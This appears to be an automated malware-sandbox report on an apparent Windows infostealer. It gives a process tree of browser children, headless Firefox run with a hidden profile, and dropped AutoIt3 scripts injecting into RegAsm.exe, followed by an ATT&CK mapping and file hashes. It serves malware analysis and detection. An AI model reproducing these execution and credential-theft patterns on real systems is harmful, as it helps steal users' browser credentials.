- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5276,i,16173491005366159891,14861603674665864004,524288 --field-trial-handle=1920,i,7014804499723447464,8830748096082019028,262144 --variations-seed-version --mojo-platform-channel-handle=5280 /prefetch:14
    3⤵
    PID:3316
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=5356,i,6987422383096162605,18437574552049522388,2097152 --field-trial-handle=1920,i,7014804499723447464,8830748096082019028,262144 --variations-seed-version --mojo-platform-channel-handle=5388 /prefetch:1
    3⤵
    PID:6096
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=5396,i,15001451302378433342,14833704101991836967,2097152 --field-trial-handle=1920,i,7014804499723447464,8830748096082019028,262144 --variations-seed-version --mojo-platform-channel-handle=5432 /prefetch:1
    3⤵
    PID:5684
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=5704,i,8852654311379958838,5286061709201486482,2097152 --field-trial-handle=1920,i,7014804499723447464,8830748096082019028,262144 --variations-seed-version --mojo-platform-channel-handle=5692 /prefetch:1
    3⤵
    PID:3268
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=5708,i,15368791728643888240,12402797450542288505,2097152 --field-trial-handle=1920,i,7014804499723447464,8830748096082019028,262144 --variations-seed-version --mojo-platform-channel-handle=5684 /prefetch:1
    3⤵
    PID:428
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5396,i,17137144146323542459,4965488510708273177,524288 --field-trial-handle=1920,i,7014804499723447464,8830748096082019028,262144 --variations-seed-version --mojo-platform-channel-handle=5460 /prefetch:14
    3⤵
    PID:4412
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=5668,i,14020402599474675063,616871678731961562,2097152 --field-trial-handle=1920,i,7014804499723447464,8830748096082019028,262144 --variations-seed-version --mojo-platform-channel-handle=5764 /prefetch:1
    3⤵
    PID:4848
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --metrics-shmem-handle=6012,i,2360452380519463519,15682680802925475944,2097152 --field-trial-handle=1920,i,7014804499723447464,8830748096082019028,262144 --variations-seed-version --mojo-platform-channel-handle=5456 /prefetch:1
    3⤵
    PID:2340
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --metrics-shmem-handle=5996,i,15033828480054444567,5324155107979962053,2097152 --field-trial-handle=1920,i,7014804499723447464,8830748096082019028,262144 --variations-seed-version --mojo-platform-channel-handle=5724 /prefetch:1
    3⤵
    PID:880
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --metrics-shmem-handle=6008,i,548270557991315106,17128506129566728944,2097152 --field-trial-handle=1920,i,7014804499723447464,8830748096082019028,262144 --variations-seed-version --mojo-platform-channel-handle=5280 /prefetch:1
    3⤵
    PID:4124
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5836,i,7998820897774510853,6603465719523872854,524288 --field-trial-handle=1920,i,7014804499723447464,8830748096082019028,262144 --variations-seed-version --mojo-platform-channel-handle=4520 /prefetch:14
    3⤵
    PID:4628
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5448,i,4276357540507100078,6555445790079270378,524288 --field-trial-handle=1920,i,7014804499723447464,8830748096082019028,262144 --variations-seed-version --mojo-platform-channel-handle=4480 /prefetch:14
    3⤵
    PID:5720
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --metrics-shmem-handle=5380,i,14899911115198567788,12681633148240042091,2097152 --field-trial-handle=1920,i,7014804499723447464,8830748096082019028,262144 --variations-seed-version --mojo-platform-channel-handle=5708 /prefetch:1
    3⤵
    PID:3900
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --metrics-shmem-handle=5980,i,6610266697417755168,17045536913553904192,2097152 --field-trial-handle=1920,i,7014804499723447464,8830748096082019028,262144 --variations-seed-version --mojo-platform-channel-handle=5676 /prefetch:9
    3⤵
    PID:2080
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-first-run --no-default-browser-check
  2⤵
  - Enumerates system info in registry
  - Modifies registry class
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:5572
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2ec,0x318,0x7ffb9325c188,0x7ffb9325c194,0x7ffb9325c1a0
    3⤵
    PID:1656
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1980,i,13327477805928460635,14838295627648321917,262144 --field-trial-handle=2784,i,14055275061729879050,5304545937993382343,262144 --variations-seed-version --mojo-platform-channel-handle=2780 /prefetch:2
    3⤵
    PID:4556
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2156,i,12659673949346745676,13958144452434319743,524288 --field-trial-handle=2784,i,14055275061729879050,5304545937993382343,262144 --variations-seed-version --mojo-platform-channel-handle=3260 /prefetch:11
    3⤵
    - System Time Discovery
    PID:6052
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2452,i,6763685917112464059,8584901591869903847,524288 --field-trial-handle=2784,i,14055275061729879050,5304545937993382343,262144 --variations-seed-version --mojo-platform-channel-handle=3320 /prefetch:13
    3⤵
    PID:1828
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3568,i,11680882961426309968,5920003372657763446,2097152 --field-trial-handle=2784,i,14055275061729879050,5304545937993382343,262144 --variations-seed-version --mojo-platform-channel-handle=3608 /prefetch:1
    3⤵
    PID:2588
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3584,i,3437504299535285946,909474007932495024,2097152 --field-trial-handle=2784,i,14055275061729879050,5304545937993382343,262144 --variations-seed-version --mojo-platform-channel-handle=3648 /prefetch:1
    3⤵
    PID:3856
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4188,i,14016027323811309310,513293868688175733,2097152 --field-trial-handle=2784,i,14055275061729879050,5304545937993382343,262144 --variations-seed-version --mojo-platform-channel-handle=4216 /prefetch:1
    3⤵
    PID:1364
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4196,i,14999228790790669575,8202047082693033954,2097152 --field-trial-handle=2784,i,14055275061729879050,5304545937993382343,262144 --variations-seed-version --mojo-platform-channel-handle=4220 /prefetch:9
    3⤵
    PID:5700
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3724,i,11196661670890738144,6955741705000615227,524288 --field-trial-handle=2784,i,14055275061729879050,5304545937993382343,262144 --variations-seed-version --mojo-platform-channel-handle=3728 /prefetch:14
    3⤵
    PID:1900
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5372,i,469422563570965555,2394003627518869051,524288 --field-trial-handle=2784,i,14055275061729879050,5304545937993382343,262144 --variations-seed-version --mojo-platform-channel-handle=5424 /prefetch:14
    3⤵
    PID:1792
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5348,i,13161740762904019109,1455514248895316878,524288 --field-trial-handle=2784,i,14055275061729879050,5304545937993382343,262144 --variations-seed-version --mojo-platform-channel-handle=5436 /prefetch:14
    3⤵
    PID:4396
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6532,i,5754086460994004161,3434054306032320294,524288 --field-trial-handle=2784,i,14055275061729879050,5304545937993382343,262144 --variations-seed-version --mojo-platform-channel-handle=6484 /prefetch:14
    3⤵
    PID:4128
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6532,i,5754086460994004161,3434054306032320294,524288 --field-trial-handle=2784,i,14055275061729879050,5304545937993382343,262144 --variations-seed-version --mojo-platform-channel-handle=6484 /prefetch:14
    3⤵
    PID:2396
- C:\Program Files\Mozilla Firefox\firefox.exe
  "C:\Program Files\Mozilla Firefox\firefox.exe" -headless -no-remote -profile "C:\Users\Public\.ff_tmp"
  2⤵
  PID:4980
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -headless -no-remote -profile C:\Users\Public\.ff_tmp
    3⤵
    - Checks processor information in registry
    - Suspicious use of FindShellTrayWindow
    PID:4256
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2760 -prefsLen 24445 -prefMapHandle 2764 -prefMapSize 268548 -ipcHandle 2840 -initialChannelId {50707086-cc79-45fc-8d8d-63ab7db26121} -parentPid 4256 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4256" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 socket
      4⤵
      PID:3108
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3792 -prefsLen 24610 -prefMapHandle 3796 -prefMapSize 268548 -jsInitHandle 3800 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3804 -initialChannelId {47f43eba-a5ae-429d-9a6d-29d1a51a7be9} -parentPid 4256 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4256" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 tab
      4⤵
      Checks processor information in registry
      PID:4888
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 4012 -prefsLen 25493 -prefMapHandle 4016 -prefMapSize 268548 -ipcHandle 4060 -initialChannelId {efc9c44c-a611-4af0-8499-9d25bd0d84a4} -parentPid 4256 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4256" -appDir "C:\Program Files\Mozilla Firefox\browser" - 3 rdd
      4⤵
      PID:1524
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 1736 -prefsLen 25688 -prefMapHandle 1660 -prefMapSize 268548 -jsInitHandle 3592 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 1884 -initialChannelId {29952033-2076-492e-ad07-ae58ff9451eb} -parentPid 4256 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4256" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 4 tab
      4⤵
      Checks processor information in registry
      PID:864
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 4552 -prefsLen 34006 -prefMapHandle 1752 -prefMapSize 268548 -jsInitHandle 1592 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 4588 -initialChannelId {5d93c8e4-bbe5-4b4c-8cf1-25c9b00b6338} -parentPid 4256 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4256" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 5 tab
      4⤵
      Checks processor information in registry
      PID:4612
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 0 -prefsHandle 5136 -prefsLen 36484 -prefMapHandle 5140 -prefMapSize 268548 -ipcHandle 5152 -initialChannelId {abf20bde-8f2b-4fef-9b00-4dabbd479ca0} -parentPid 4256 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4256" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 6 utility
      4⤵
      Checks processor information in registry
      PID:4520
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5352 -prefsLen 34409 -prefMapHandle 5356 -prefMapSize 268548 -jsInitHandle 5360 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5368 -initialChannelId {0460c1cb-b953-4d95-acfd-b4a8fb4c6066} -parentPid 4256 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4256" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 7 tab
      4⤵
      Checks processor information in registry
      PID:1844
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5352 -prefsLen 34409 -prefMapHandle 5396 -prefMapSize 268548 -jsInitHandle 5384 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5492 -initialChannelId {1b42cd06-1d78-4267-9b83-052c2b0863c8} -parentPid 4256 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4256" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 8 tab
      4⤵
      Checks processor information in registry
      PID:5932

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:1200

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:4656

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
- Modifies data under HKEY_USERS
PID:3576

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:4712

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
- Enumerates system info in registry
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
PID:4588
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x264,0x268,0x26c,0x260,0x28c,0x7ffb9325c188,0x7ffb9325c194,0x7ffb9325c1a0
  2⤵
  PID:4740
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1824,i,3806623732407165785,3484640408367308190,524288 --field-trial-handle=2608,i,6920263334619578271,14997967494645702625,262144 --variations-seed-version --mojo-platform-channel-handle=2952 /prefetch:11
  2⤵
  - System Time Discovery
  PID:924
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2248,i,13018303362296213873,18057100313527635869,524288 --field-trial-handle=2608,i,6920263334619578271,14997967494645702625,262144 --variations-seed-version --mojo-platform-channel-handle=2924 /prefetch:13
  2⤵
  PID:3320
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3284,i,4033398331110212319,12811843925131998389,2097152 --field-trial-handle=2608,i,6920263334619578271,14997967494645702625,262144 --variations-seed-version --mojo-platform-channel-handle=3304 /prefetch:9
  2⤵
  PID:1812
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1640,i,10479979510253964842,9400150291930155498,262144 --field-trial-handle=2608,i,6920263334619578271,14997967494645702625,262144 --variations-seed-version --mojo-platform-channel-handle=2604 /prefetch:2
  2⤵
  PID:3084

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:5712

C:\Users\Admin\AppData\Roaming\80f731a824ed\AutoIt3.exe
"C:\Users\Admin\AppData\Roaming\80f731a824ed\AutoIt3.exe" "C:\Users\Admin\AppData\Roaming\80f731a824ed\Fabrics.a3x"
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Reads the TCP/IP host and domain name from the registry
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:2800
- C:\Users\Admin\AppData\Roaming\80f731a824ed\RegAsm.exe
  C:\Users\Admin\AppData\Roaming\80f731a824ed\RegAsm.exe
  2⤵
  - Executes dropped EXE
  PID:3204

C:\Users\Admin\AppData\Roaming\80f731a824ed\AutoIt3.exe
"C:\Users\Admin\AppData\Roaming\80f731a824ed\AutoIt3.exe" "C:\Users\Admin\AppData\Roaming\80f731a824ed\Ips.a3x"
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Reads the TCP/IP host and domain name from the registry
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:1788
- C:\Users\Admin\AppData\Roaming\80f731a824ed\AutoIt3.exe
  C:\Users\Admin\AppData\Roaming\80f731a824ed\AutoIt3.exe
  2⤵
  - Executes dropped EXE
  PID:5316

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Boot or Logon Initialization Scripts

T1037

Logon Script (Windows)

T1037.001

Privilege Escalation

Access Token Manipulation

T1134

Parent PID Spoofing

T1134.004

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Boot or Logon Initialization Scripts

T1037

Logon Script (Windows)

T1037.001

Process Injection

T1055

Defense Evasion

Access Token Manipulation

T1134

Parent PID Spoofing

T1134.004

Modify Registry

T1112

Process Injection

T1055

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

System Time Discovery

T1124

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

update-config.json

Path C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\308046B0AF4A39CB\update-config.json
Size 102B
SHA256 ffad3b0fb11fc38ea243bf3f73e27a6034860709b39bf251ef3eca53d4c3afda
MD5 7d1d7e1db5d8d862de24415d9ec9aca4
SHA1 f4cdc5511c299005e775dc602e611b9c67a97c78
SHA512 1688c6725a3607c7b80dfcd6a8bea787f31c21e3368b31cb84635b727675f426b969899a378bd960bd3f27866023163b5460e7c681ae1fcb62f7829b03456477
TLSH
T12BB012800100B658F0FC4CCC05303B3E0248402D44CF3903004D30A0787B0020A094FE
MD5 SHA1 SHA512 TLSH

Submit Download

CURRENT

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GCM Store\CURRENT
Size 16B
SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
MD5 46295cac801e5d4857d09837238a6394
SHA1 44e0fa1b517dbf802b18faf0785eeea6ac51594b
SHA512 8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23
MD5 SHA1 SHA512

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

MANIFEST-000001

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage\leveldb\MANIFEST-000001
Size 41B
SHA256 f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4
MD5 5af87dfd673ba2115e2fcf5cfdb727ab
SHA1 d5b5bbf396dc291274584ef71f444f420b6056f1
